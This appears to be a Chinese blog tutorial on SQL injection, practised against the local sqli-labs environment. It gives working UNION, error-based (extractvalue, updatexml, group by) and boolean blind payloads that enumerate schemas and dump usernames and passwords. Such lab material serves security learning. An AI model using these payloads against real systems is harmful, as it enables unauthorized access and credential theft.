常见的SQL注入

联合查询

如下,要求我们传入一个id值过去。传参?id=1,当我们输入id=1和id=2时,页面中name值和password的值会发生变化,说明此时我们输入的数据和数据库有交互并且将数据显示在屏幕上了

输入?id=1',页面发生报错,说明后端对我前端的数据输入没有很好的过滤,产生了sql注入漏洞

继续判断,输入 ?id=1' and 1=1 --+ 页面正常显示 

?id=1' and 1=2 --+ 页面不正常显示,说明程序对我们的输入做出了正确的判断,所以注入点就是单引号

页面会根据输入的数据变化而变化,当存在注入点时,优先考虑使用联合注入手法。

输入?id=1' order by 3 --+,页面正常

将3修改为4,此时显示未知的列,说明此时当前表中只有3列

上面我们判断出来了表中有3列,所以union select的时候就写xx,xx,xx三个数据

需让union select前面的参数查不出来而回显后面的语句,所以id=-1'

?id=-1' union select 1,2,3 --+

爆当前数据库名字

?id=-1' union select 1,2,database() --+

爆当前数据库中的表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆表中的字段

#只需指定表名即可
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
#或者指定当前数据库名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

爆相应字段的所有数据

#只需指定表名和字段名
?id=-1' union select 1,2,group_concat(`id`,':',`username`,':',`password`) from users --+
#字段值不加反引号也可以
?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users --+

报错注入

提交如下,获取数据库名字,使用group by

?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

extractvalue() 函数

?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+获取数据库名字

 updatexml() 函数

提交如下,获取数据库名字

?id=1' and updatexml(1,concat('^',(database()),'^'),1) --+

获取当前数据库中表的名字

?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' ),'^'),1) --+

这里是说要显示的内容超过一行它不能显示那么多,所以在 table_schema='security' 后加上 limit 0,1.

如果要看第二行则,limit1,1,看第三行则limit2,1。以这个方法获取第四个表为users

爆表中的字段

?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),'^'),1) --+

总共爆出的字段为: id , username , password

爆字段中的内容

?id=1' and updatexml(1,concat('^',(select group_concat(username,"--",password) from users limit 0,1 ),'^'),1) --+

布尔盲注

布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。以less-8关为例

我们输入正确的id时,显示You are in .....

我们输入错误的语句如id=1' ,或者id=-1时,就什么都不显示。

源码如下

判断当前数据库名

?id=1' and length(database())>7 --+

?id=1' and length(database())>7 --+

大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符

判断当前数据库的字符

http://127.0.0.1/sql/Less-8/?id=1' and ascii(substr(database(),1,1))>115 --+

http://127.0.0.1/sql/Less-8/?id=1' and ascii(substr(database(),1,1))>114 --+

重复以上步骤由此可以判断出当前数据库为 security

一般布尔盲注,手工去注入过于繁琐,不建议手工注入,可以借助于工具。

  • 6
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值